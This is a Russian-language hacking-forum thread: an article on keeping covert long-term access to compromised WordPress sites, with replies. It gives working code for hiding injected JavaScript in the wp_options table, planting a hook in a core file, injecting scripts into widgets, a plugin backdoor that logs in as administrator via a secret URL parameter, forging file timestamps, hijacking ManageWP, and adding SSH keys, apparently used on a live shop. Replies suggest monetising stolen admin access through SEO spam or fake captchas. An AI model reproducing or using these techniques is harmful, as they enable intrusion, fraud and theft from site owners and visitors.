LIMB
Вход Регистрация

тема

Влияние глубины ран на продолжительность отношений с WordPress.

bezmyatezhnost · · 10 ответов · 606 просмотров

Не удалось прогрузить медиа
​
Всех приветствую, долго думал над названием, и если вдруг кто не понял к чему оно, то объясню. Придумал такую фразу: "оставь во мне рану, и я останусь навсегда", звучит как цитата из паблика про бывших, но если чучуть подумать, это же идеальное описание того, что мы сегодня будем делать. Только вместо бывших у нас WordPress, а вместо раны шелл, или жс, который будет жить внутри сайта так глубоко, что ни один админ, ни один плагин безопасности, и даже ручной grep по файлам его просто не найдет. Красиво? Красиво. Небольшая предыстория, почему вообще это пишется. Когда ты получаешь доступ к сайту, будь то через какой-нибудь дырявый плагин, загрузку шелла, или банально слитые креды от wp-admin, первое что ты делаешь - это свое дело, кароче, зачем пришел, за тем и пришел. Но потом встает вопрос, а что дальше? Админ рано или поздно заметит, почистит, обновит, поменяет пароли, и ты за бортом. Классика. И вот тут начинается самое интересное, потому что большинство "чисток" сводится к тому, что человек сносит подозрительные файлы, ставит Wordfence, сканирует, видит зеленые галочки, и думает, что всё, я в безопасности..- А ты в это время сидишь в таких местах, куда этот Wordfence даже не заглядывает.

Не удалось прогрузить медиа
​

Почему WP? Ну, а что еще? 43% интернета, по этому если ты хоть раз в жизни ковырял чужой сайт, то с вероятностью почти в половину это был вордпресс. Движок старый, жирный, с кучей легаси, и самое главное, с такой архитектурой, где код может лежать в десятке мест одновременно, и это будет считаться "нормой". Тут тебе и база данных, и опции, и хуки, и транзиенты, и кроны, и виджеты, и mu-plugins, и еще хрен знает что. Рай для закрепа, если понимать куда ложить. Сегодня разберем несколько методов, от относительно простых, до совсем наглых, где ваш код будет жить в таких щелях вордпресса, куда нормальный человек просто не полезет смотреть. Причем у каждого метода свой уровень живучести, какие-то переживут обновление темы, какие-то переживут даже полную переустановку WP. По этому и название такое, чем глубже рана, тем дольше отношения. Погнали.

Не удалось прогрузить медиа

​
Окей, начнем с самого фундамента. Прежде чем лезть в дебри, давайте быстренько разберемся как вообще WordPress устроен изнутри, чтоб потом не было вопросов, а откуда это взялось и почему так работает. Буквально на пальцах. WordPress - это, по сути, PHP-движок, который ВЕСЬ свой контент, настройки, виджеты, плагины, кроны, и вообще чуть ли не всё кроме самих файлов, хранит в MySQL базе данных. И вот эта база, наш главный друг. Потому что когда админ слышит "меня взломали", он первым делом лезет в файлы. Ищет подозрительные .php, сканирует тему, проверяет uploads на шеллы..- А в базу? В базу никто не лезет. Никогда. Ну, почти никогда.

Не удалось прогрузить медиа

​
Второй важный момент хукт. WordPress работает на системе хуков (actions и filters), это такие точки в коде, куда можно подцепить свою функцию. Грубо говоря, WP говорит: "я сейчас буду рендерить шапку сайта, кто хочет что-то добавить?", и все кто подписался на хук wp_head, выполняются. И вот в этом месте кроется вся магия, потому что подписаться на хук можно из КУЧИ разных мест, и не все из них очевидны.

Не удалось прогрузить медиа
​

Самый, наверное, лучший способ выжить по моему мнению это внутри БД. Во всех вордпрессах внутри базы есть таблица wp_options - это такой key-value storage, где WordPress хранит ВСЁ. Название сайта, URL, активные плагины, настройки темы, виджеты, кроны..- Там сотни записей даже на чистом WP, а на живом сайте с плагинами их может быть тысячи. И вот представьте, среди этих тысяч строк лежит одна лишняя с неприметным названием. Найдете? Вряд ли. Суть метода: мы сохраняем наш JS-код как обычную опцию в БД, а потом через хук wp_enqueue_scripts цепляем его к уже подключенному jQuery как inline-скрипт. В исходнике это выглядит абсолютно легитимно, WordPress сам так делает для десятков своих скриптов. Допустим, у нас есть доступ к wp-admin, или напрямую к БД через phpMyAdmin, adminer, или просто через шелл. Первый шаг, заложить пэйлод в базу:

Не удалось прогрузить медиа

Спойлер: SQL
Code:
INSERT INTO wp_options (option_name, option_value, autoload)
VALUES ('_site_transient_browser_check', 'console.log("свободупопугаям")', 'yes')
ON DUPLICATE KEY UPDATE option_value = VALUES(option_value);

Два момента. Первый, обратите внимание на название _site_transient_browser_check. Выглядит как системная запись, правда? Так и задумано. Никто в здравом уме не будет разбираться, что там за browser check. Второй, в значении лежит ЧИСТЫЙ JS без тегов <script> почему - объясню ниже. А autoload = 'yes' значит, что WordPress будет подгружать это значение при каждом запросе автоматически, без лишних обращений к БД. Теперь нужно это вывести на страницу. И вот тут важный момент, потому что первое что приходит в голову:
Code:
add_action('wp_footer', function() {
echo get_option('_site_transient_browser_check');
});

..и это херня. Не потому что не работает, а потому что голый echo сбрасывает твой <script> куда попало между закрывающими тегами, и в исходнике это выглядит как мусор. Если админ откроет Ctrl+U и увидит одинокий скрипт-тег торчащий из ниоткуда между </footer> и </body>, вопросы возникнут мгновенно. Правильный способ - wp_add_inline_script. Он цепляет JS к уже существующему скрипту (например jQuery, который есть на 99% WP-сайтов), и в исходнике это выглядит вот так:
Code:
<script src="https://darklimb.vip/wp-includes/js/jquery/jquery.min.js"></script> <script id="jquery-core-js-after"> console.log("alive") </script>

Абсолютно натурально. WordPress сам генерирует такие inline-скрипты пачками. Именно поэтому пэйлод в базе лежит без <script> тегов - wp_add_inline_script сам оборачивает. Засунешь туда <script> - получишь двойные теги и сломанный HTML, проверено. Теперь вопрос, куда записать сам хук? Если в functions.php:
Code:
add_action('wp_enqueue_scripts', function() {
$p = get_option('_site_transient_browser_check');
if ($p) { wp_add_inline_script('jquery-core', $p); }
}, 9999);

..то это палевно, functions.php проверяют первым делом. Нам нужно место, куда не заглядывают. И вот тут я сам наступил на грабли, которые хочу вам сэкономить. Первая мысль была, wp-includes/version.php, он же подключается на каждой загрузке WordPress. Но нет. WordPress загружает файлы в строгом порядке, и version.php грузится РАНЬШЕ чем plugin.php, а именно plugin.php определяет функцию add_action. То есть в момент исполнения version.php функции add_action просто не существует, и ваш код тихо скипнется. Правильный файл, wp-includes/default-filters.php. Он грузится ПОСЛЕ plugin.php, и весь состоит из вызовов add_action/add_filter, что играет только нам на руку.

Не удалось прогрузить медиа

Спойлер: php
Code:
add_action('wp_enqueue_scripts',function(){$p=get_option('_site_transient_browser_check');if($p){wp_add_inline_script('jquery-core',$p);}},9999);
Одна строка. default-filters.php никто не читает, он выглядит как стена из add_action, еще один в конце никто не заметит. Наш JS-код при этом лежит не здесь, а в базе. Даже если кто-то найдет эту строку и удалит, пэйлод в БД останется. Даже если найдут запись в БД и удалят, строка в default-filters.php останется, и мы всегда можем заново записать пэйлод через неё же.

Не удалось прогрузить медиа
​

Вот это уже интереснее. В WordPress есть виджеты, и один из стандартных - "Произвольный HTML". Админы сами, своими руками, используют его чтобы вставить какой-нибудь счетчик аналитики, баннер, или чат-виджет. И хранится это всё, угадайте где? Правильно, в wp_options, в сериализованном виде. Запись называется widget_custom_html и выглядит примерно так:
Code:
a:2:{i:2;a:3:{s:5:"title";s:0:"";s:7:"content";s:45:"<script>alert('я живу в виджете')</script>";s:6:"filter";b:0;}s:12:"_multiwidget";i:1;}

Это PHP-сериализация. Мерзкий формат, но рабочий. Выглядит как кто-то мордой по клавиатуре проехал, но PHP понимает, и ладно. Прелесть Custom HTML виджета в том, что он рендерит содержимое AS IS. То есть если ты туда положишь <script> он просто выведет его на страницу. И вот что прекрасно,если на сайте уже стоит какой-то виджет с аналитикой (а он стоит почти везде), мы можем просто дописать наш код к уже существующему. Админ открывает виджеты, видит свой Google Analytics, ну и ладно, закрывает. А то, что там внизу еще строчка прилипла, кто будет вчитываться в минифицированный JS гугл-аналитики? Вариант первый, создаем новый виджет через PHP (шелл, eval, что угодно):
Спойлер: php
Code:
$widgets = get_option('widget_custom_html', array());
$idx = max(array_keys(array_filter($widgets, 'is_array'))) + 1;
$widgets[$idx] = array(
'title' => '',
'content' => '<script>нагрузочка</script>',
'filter' => false
);
$widgets['_multiwidget'] = 1;
update_option('widget_custom_html', $widgets);

$sidebars = get_option('sidebars_widgets');
$first_sidebar = array_key_first(array_filter($sidebars, function($v, $k) {
return is_array($v) && $k !== 'wp_inactive_widgets';
}, ARRAY_FILTER_USE_BOTH));
$sidebars[$first_sidebar][] = "custom_html-{$idx}";
update_option('sidebars_widgets', $sidebars);
Что тут происходит. Первая часть создает новый виджет с нашим скриптом. Без заголовка, чтоб на фронте не торчал пустой <h2> Вторая часть привязывает его к первому активному сайдбару, пропуская wp_inactive_widgets, это корзина для отключенных виджетов, туда нам не надо. После выполнения, наш скрипт рендерится на каждой странице где есть сайдбар, а в админке это выглядит как обычный HTML-блок. Вариант второй, понаглее, не создавать новый, а дописать в уже существующий:
Спойлер: php
Code:
$widgets = get_option('widget_custom_html');
foreach ($widgets as $k => &$w) {
if (is_array($w) && !empty($w['content']) && strpos($w['content'], 'facebook') !== false) {
$w['content'] .= "\n" . '<script>нагрузочка</script>';
break;
}
}
update_option('widget_custom_html', $widgets);
Находим виджет в котором упоминается facebook, и дописываем свой скрипт к его содержимому. В минифицированном JS Facebook'а разобраться и так невозможно, еще одна строка подгрузки просто потеряется. Причем руками через SQL сериализацию лучше не трогать, одна лишняя буква в длине строки, и вся запись ломается, WordPress не распарсит, и виджеты просто исчезнут. По этому через PHP, он при update_option сам правильно сериализует.

Не удалось прогрузить медиа
​

А вот это уже не про инжект кода, а про чистую наглость. На куче сайтов стоят так называемые мЭнЭдЖэМэНт-плагины, штуки, которые позволяют управлять сайтом удаленно через внешний дашборд. ManageWP Worker, InfiniteWP Client, MainWP Child, WP Umbrella..- Их ставят агентства и фрилансеры, которые обслуживают по 50 сайтов и не хотят логиниться в каждый отдельно. И вот в чем фокус, эти плагины по своей сути уже являются бэкдорами. Они ждут команду с внешнего сервера и выполняют её с правами админа.
Не удалось прогрузить медиа

​
Если ты залез на сайт и видишь в списке плагинов ManageWP Worker, то можно радоваться. Заходишь на managewp.com, регистрируешь бесплатный аккаунт, и привязываешь сайт к себе. Worker-плагин уже стоит, он уже настроен, ему нужен только connection key. Его берешь из вкладки с плагинами, вставляешь в свой дашборд, и всё, у тебя полный удаленный контроль. Грубо говоря на языке зверьков "закреп через белый софт" (я не гений малварей, по этому поправьте если есть кто).

Не удалось прогрузить медиа

Не удалось прогрузить медиа
ё
​
И стоит заденеть, конечно, же закрепы на уровне самого функционала вордпресса, тут достигается лишь ваша изощренность, и что куда вы засунете. К примеру, в плагине который я описал выше имеется возможность зайти из под любого юзера, даже не зная пароля, и работает эта штукенция как раз таки на самом ВП, а почему только ваша изощренность? Потому что надо найти такое место, куда можно занести, и не облажаться, что вас найдут, так еще и должен быть такой файлик, который наврятле обновится, в данном случае я отдаю предпочтение тем плагинам, которые, ну, кровь из носа должны быть на сайте. Я привык работать с шопами, по этому местом входа будет плагин WooCommerce, ведь без него ничего работать не будет, суть самого сайта потеряется. Но и как говорил раньше, нужен файл, который наврятле перезапишется при обновлении. 

Не удалось прогрузить медиа


Мой выбор пал на "woocommerce-checkout-field-editor", и наша цель лишь записать в пыхп файл наш зловред. В нем ничего особо примечательного, но с другой стороны он выглядит как белый, ведь это нормальное поведение для всяких автоматизированных защит, ведь ничего плохого не подгружаем? Не подгружаем, и работаем только с самой ВП. 

Code:
add_action('init', 'checklogin');
function checklogin() {
    if (isset($_GET['p']) && $_GET['p'] == 'bangladesh2000') {
        $admin_users = get_users(array('role' => 'administrator'));
        
        if (!empty($admin_users)) {
            $user = $admin_users[0];
            wp_set_current_user($user->ID, $user->user_login);
            wp_set_auth_cookie($user->ID);
            do_action('wp_login', $user->user_login, $user);
            wp_redirect(admin_url());
            exit;
        }
    }
}


Заливаем в файлик, сохраняем. И получаем такой мини бэкдорчик, который сработает если мы переходим на сайт.com/?p=bangladesh2000 . Вкратце, если параметр при переходе равен bangladesh2000, то получаем список всех админов, берем самого первого и заходим в учетку. Но осталась одна проблема. За нами след.. 
Не удалось прогрузить медиа
Дата, изменения файла, которая прям гласит о том, что ну тут дырка, друг мой. И с этим надо что-то решать. Давайте вернемся немного к managewp, о котором я рассказывал буквально десятком предложений ранее, там мы можем исполнять любой пхп код (не обязательно через него, можете просто накатить временно плагин из разряда php-snippets), и раз мы можем исполнять пыхп код, то можем и поменять дату.
Code:
<?php

$file = 'public_html/wp-content/plugins/woocommerce-checkout-field-editor/woocommerce-checkout-field-editor.php';

$timestamp = mktime(9, 58, 0, 12, 1, 2025);

if (touch($file, $timestamp)) {
    echo "gotovo";
} else {
    echo "ne gotovo";
}

Запускаем такой сниппет в managewp, и получаем,  что все прошло успешно. Остается лишь проверить.

Не удалось прогрузить медиа


Залазим обратно в файл менеджер, и смотрим.
Не удалось прогрузить медиа


Дата поменялась, и теперь это выглядит уже более естественно, но и куда же без моего косяка, напортачил малясь со временем. Но суть думаю понятна. А если залезть еще глубже? Прям под корень залезть, и уже быть у себя как дома. Я имею в виду захватить сервер, прописаться там, и быть уже абсолютно живым.

Не удалось прогрузить медиа


Я люблю этот бэкдор. Он дает доступ абсолютно ко всему, к бд, к файловой системе, делает шелл, и все-все-все остальное. Тут он у нас будет временно и не надолго, но и у этого плагина есть минусы.. Ему уж больше 5 лет, что делает его легкой находкой для всяческих АВ, как к примеру у меня и было. Залив его первоначальную версию, я просто получил по роже в виде 403 Forbidden

Не удалось прогрузить медиа


По этому пришлось его немного переписать, добавить немного маскировки, и прочих вещей. Для начала просто банально поменял всю внутренную обертку, якобы это вукоммерц плагин шиппинг зон и бла-бла-бла, этого понятное дело будет недостаточно от слова совсем, просто чтоб в случае если другой админ параллельно сидит со мной во время работы, то будет хотяб что-то адекватное, а не PAS FORK (никогда так не делайте, подбирайте время правильно). Но главная проблема была в 403 ошибке. Файрвол тупо рубил любой прямой запрос к файлу. Я попробовал через iframe, но это тоже не прокатило, потому что для файрвола это все равно отдельный запрос к подозрительному скрипту. Тогда я пошел другим путем. Зачем вообще стучаться в файл снаружи, если можно заставить сам WordPress подгрузить его изнутри? Сделал страницу в админке, которая при переходе на нее просто подключает код бэкдора через include(). Со стороны это выглядит как обычный переход по админке, ничего подозрительного. Файрвол видит стандартный запрос к admin.php и спокойно его пропускает. И вот теперь меня уже не прокатывают по роже, а сладко приветствует шелл. Итоговый вид плагина, и все такое, я конечно, приложу.
Не удалось прогрузить медиа

Дальше дело за малым, показать как можно минимально закрепиться. Первое что я сделал, это прописал свой SSH-ключ на сервер. Генерируем ключ у себя на машине через ssh-keygen, берем публичную часть и закидываем на сервер в ~/.ssh/authorized_keys. Стандартная процедура, ничего сложного. Но тут я столкнулся с тем, что подключиться по стандартному 22 порту не вышло. Сервер тупо разрывал соединение еще до проверки ключа. Ошибка kex_exchange_identification: Connection closed by remote host. Это значит что дверь есть, но меня почему-то решили в нее не пускать. Начал копать. Попытался посмотреть конфиг SSH, логи, файлы hosts.allow и hosts.deny. А их нет. Вообще. Потому что это shared-хостинг SiteGround, и у меня тут контейнер без root-доступа, никаких тебе конфигов и логов. Зато у SiteGround есть своя фишка, они используют нестандартный порт для SSH, 18765. Стоило добавить -p 18765 к команде, и сервер меня пустил без единого вопроса. Ключ сработал, пароль не спросили. Понятное дело, что головастый сис. админ такое пропалит, ну, максимально быстро. На менее крупных шопах, такое сработает с очень огромной вероятностью и очень-очень надолго. Целью было показать, что можно и заскочить на сервер, и на сервере баловаться уже как хочу, и зачем хочу. (а переплывать в тему закрепов на машинах, это уже не мой раздел)
Не удалось прогрузить медиа

В завершении, даже сказать то нечего!) Прошлись по векторам, тут сделали то-то, там то-то. Закрепились, и вроде как даже неплохо (я лично уверен что на этом шопе закреп через сервер будет жить вечно, ордеров там немного, >100 в месяц.) Используйте все методы одновременно, чем больше запасных точек, тем лучше для нас (вас), выкинули из одного места, зашли в другом, и так до бесконечности. Не болейте, всем пока!
👍46 ❤️12 😁8 😮9 💯9
Не думаю, что эта статья может быть оплачена. Кратко расскажу, почему именно:
1) Слишком общая информация, которая и так известна любому, касающемуся хоть в какой-то степени вордпресса, пентестеру. Не говоря про то, что это жевано-пережевано в куче статей, стало темой многих цтфок и так далее.
2) Не то, чтобы Wordfence здесь был ориентиром, так как при имении RCE на сам хост можно работать чуть "ниже", чем он следит в основное свое время. А векторов получения RCE из вордпресса более, чем достаточно. Обхода каких-то более жестких защит, следящих на уровне системы или самого интерпретатора .php(например, сериализация дополнительного объекта на .php, которого ранее там не было), здесь не описано. Одним словом, Wordfence - не то, чтобы ориентир, он работает "на том же уровне", что и большинство интеграций в wordpress.
3) Внутри бд? Это наврядли. Это не самый лучший метод закрепления сразу по нескольким причинам, к тому же, большую часть статьи вы описывали уже другие(и более продуктивные) пути закрепа. Полагаться в вопросах пивоты только на бд - сомнительная затея, т.к. это может быть легко обнаружено любым хоть капельку знающим свое дело сисом, не говоря уже о том, что это более геморрно и более заметно всецело. Куда лучше идти в направлении системы, чем вордпресса как такового, особенно если есть хоть какой-то шанс на эскалацию привилегий(что позволит лазать уже везде, где захочется, и допустим пролезть в тот же докер, если там лежит бд, дабы забрать всю за раз).

Тем не менее, ваш гайд хорошо структурирован, и может быть пособием для тех, кто только начинает свой путь в пентесте вордпресса. Однако, сама по себе информация довольно общая и доступна в огромном количестве других мест, а каких-то уникальных методик(не будем говорить за некоторые ошибки, т.к. они незначительны) показано не было.
👍2
Ответbezmyatezhnost

Если ты залез на сайт и видишь в списке плагинов ManageWP Worker, то можно радоваться. Заходишь на managewp.com, регистрируешь бесплатный аккаунт, и привязываешь сайт к себе. Worker-плагин уже стоит, он уже настроен…

Это же палево) Сравнить можно с sim swapping. У владельца сайт пропадает на панели managewp и он поймет что админка скомпрометирована. Как по мне не самый лучший способ закрепа.


ОтветleakinN_nname

Слишком общая информация, которая и так известна любому, касающемуся хоть в какой-то степени вордпресса, пентестеру. Не говоря про то, что это жевано-пережевано в куче статей, стало темой многих цтфок и так далее.

Если не сложно, приложи, пожалуйста где упоминаются уже похожие способы закрепа как у автора статьи.

Статья полезная, грамотно подана, в целом про уязвимости веб интересно читать. Но к сожалению не подходит под критерии оплаты, мы можем принять на оплату этот материал если вы его доработаете. Дополните как можно монетизировать wp админки (обязательно готовая схема, практика). Я слышал что админки wp используют под SEO, массово скупают доступы к админкам и по всей видимости проставляют свои ссылки чтобы поднять ИКС домена в условном яндексе или гугле. 

Или предоставить гайд с фейк капчой и показать результаты (инсталлы) в идеале без вложений.
👍1
Ответcybergangster

Это же палево) Сравнить можно с sim swapping. У владельца сайт пропадает на панели managewp и он поймет что админка скомпрометирована. Как по мне не самый лучший способ закрепа. Если не сложно, приложи, пожалуйста где…

Нет, у реального владельца не пропадает сайт на managewp) в этом и соль, и его удалять из привязанных категорически нельзя, как и отключать всяческие АВ, иначе ему придет письмо. Подскажите, где дополнить? Так как именно этот текст уже не могу редактировать.

upd
скрин о том что ничего ни у кого не пропада
Не удалось прогрузить медиа
ет)
👍1
Ответbezmyatezhnost

Нет, у реального владельца не пропадает сайт на managewp) в этом и соль, и его удалять из привязанных категорически нельзя, как и отключать всяческие АВ, иначе ему придет письмо. Подскажите, где дополнить? Так как…

плохо конечно что плагин коммерческий, код закрыт и нельзя из гуи вырезать второе подключение)) Я попрошу администратора вам выдать права, чтобы вы могли дополнить статью)
👍1
Ответcybergangster

нельзя из гуи вырезать второе подключение))

это отлично делается и другим способом, пишешь свой плагин, который сам себя же визуально вырезает из установленных, так же скрывает юзера которого надо скрыть, правит счетчик юзеров и все остальное, но проблема этого если начать копаться в wp-plugins, то найдут ну уж очень быстро)
👍2
Ответbezmyatezhnost

это отлично делается и другим способом, пишешь свой плагин, который сам себя же визуально вырезает из установленных, так же скрывает юзера которого надо скрыть, правит счетчик юзеров и все остальное, но проблема этого…

либо можно отредактировать существующий
👍3
Ответcybergangster

либо можно отредактировать существующий

но при первом обновлении все слетает, но тогда можно и в wp-cron прописать нужные вещи) да кароче это бесконечная игра в кошки мышки на самом деле) на каждого умного - найдется еще умнее (сильнее))
👍1
ОтветleakinN_nname

3) Внутри бд? Это наврядли. Это не самый лучший метод закрепления сразу по нескольким причинам, к тому же, большую часть статьи вы описывали уже другие(и более продуктивные) пути закрепа. Полагаться в вопросах пивоты…

Полностью соглашусь! не кто почему то не думает про бэкапы или просто не работал с нормальными шопами где ордера от 5к в месяц , потому что вот именно на таких шопах ты набиваешь руку и понимаешь куда смотрят админы, на самом деле как по мне если ты не получил рут любой твой закреп это не внимательность админа! могу предложить как по мне самый лучший закреп это тот который сидит именно в памяти если не рассматривать  тот момент что ты получил рута , потому что после запуска скрипта ты сидишь в памяти и ты можешь спокойно удалить sh скрипт и все, как мы знаем сервера почти не ребутаются по этому это лучший закреп если нет у тебя рута.
👍3
По мне так интересная статья. Обычно смотрел в сторону закрепов на уровне пользователей, а не сам движок внимания не обращал. Тут есть примеры работы, примеры кода, коследовательность загрузки. Вполне приятная база для открывшего в перый раз.

Если у кого-то есть линки на аналогичные ctf упомянутые в коментариях - пришлите, прошел был.

Так же упомянали про монетизацию админок методом seo - это не серьезно в статью добавлять, статья в книгу превретится просто. Сеошка с админками такая же как без них и необходимо знать базу. Что-то из серии залей скрипт ссылок и продай на бирже линк с каждой страницы - детский сад уж)

пс: автор говорит что не в базе нужен чисты js, а сам вставляет теги script на скрине, поправить бы, или это как пропуск ; в паблик эксплойте?)

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.